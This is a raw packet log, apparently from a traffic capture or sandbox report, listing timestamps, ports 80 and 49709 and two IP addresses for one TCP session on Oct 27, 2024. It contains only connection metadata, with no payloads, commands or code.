Oct 27, 2024 00:31:18.151134014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151137114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151169062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151173115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151205063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151206017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151242018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151247025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151281118 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151391983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151426077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151437044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151460886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151467085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151495934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151501894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151535988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151549101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151582956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151587009 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151618958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151618958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151654005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151665926 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151689053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151706934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151740074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151750088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151782990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151798010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151844978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151859999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151880980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151885033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151916981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151923895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151953936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151957989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151989937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151992083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152028084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152029991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152065039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152070045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152102947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152106047 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152138948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152143002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152173996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152178049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152210951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152215004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152247906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152251005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152287960 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152390003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152422905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152432919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152457952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152462959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152493000 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152497053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152529001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152534962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152564049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152568102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152597904 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152605057 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152628899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152647972 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152663946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152664900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152698994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152699947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152734041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152740002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152769089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152771950 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152803898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152815104 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152839899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152843952 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152878046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152879000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152914047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152920961 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152949095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152956963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.152983904 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.152991056 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153018951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153024912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153053999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153058052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153090000 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153095007 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153126955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153131008 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153156996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153167963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153198004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153310061 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153343916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153354883 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153378963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153384924 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153414011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153419018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153449059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153451920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153484106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153487921 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153517962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153523922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153553009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153557062 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153588057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153592110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153621912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153628111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153656006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153661966 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153690100 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153697014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153724909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153727055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153759956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153764009 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153795958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153809071 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153831005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.153832912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153872013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.153970003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154005051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154016018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154046059 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154057026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154090881 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154098034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154124975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154134035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154160023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154167891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154196978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154198885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154232979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154237986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154268026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154274940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154299974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154310942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154340982 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154340029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154376030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154378891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154411077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154414892 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154445887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154448986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154479980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154485941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154515028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154519081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154551983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154553890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154587984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154591084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154623032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154628038 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154659033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154664993 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154692888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154699087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154727936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154733896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154757977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154766083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154793024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154803991 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154829979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154880047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154913902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154922009 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154949903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154953003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.154983997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.154989004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155018091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155024052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155052900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155057907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155086994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155096054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155123949 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155128002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155158997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155163050 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155194998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155198097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155230999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155241013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155266047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155272007 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155302048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155303001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155349970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155354977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155390978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155395985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155425072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155426025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155461073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155466080 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155495882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155505896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155531883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155534983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155567884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155576944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155603886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155606985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155637980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155644894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155674934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155678034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155713081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155880928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155926943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155931950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155966997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.155975103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.155999899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156008959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156034946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156042099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156069994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156076908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156105042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156111956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156140089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156147003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156173944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156181097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156210899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156215906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156245947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156253099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156280041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156286001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156315088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156317949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156349897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156353951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156384945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156388998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156419992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156423092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156459093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156460047 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156495094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156497955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156528950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156534910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156563044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156569004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156599045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156603098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156635046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156640053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156676054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156785965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156821012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156831026 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156856060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156861067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156891108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156893969 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156927109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156932116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156963110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.156963110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.156997919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.157007933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.157032967 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.157041073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.157063007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.157074928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.157103062 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.208136082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.208189011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.208213091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.208230972 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.208245039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.208266973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.208302975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.208314896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.208339930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.208343983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.208376884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.208384991 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.208415031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.208421946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.208457947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265264034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265340090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265377998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265417099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265429974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265448093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265470028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265475035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265506983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265542984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265548944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265575886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265583992 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265613079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265629053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265664101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265666962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265701056 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265701056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265736103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265739918 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265773058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265789032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265824080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265830040 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265858889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.265858889 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265893936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.265897036 CEST	49709	80	192.168.2.6	185.215.113.206
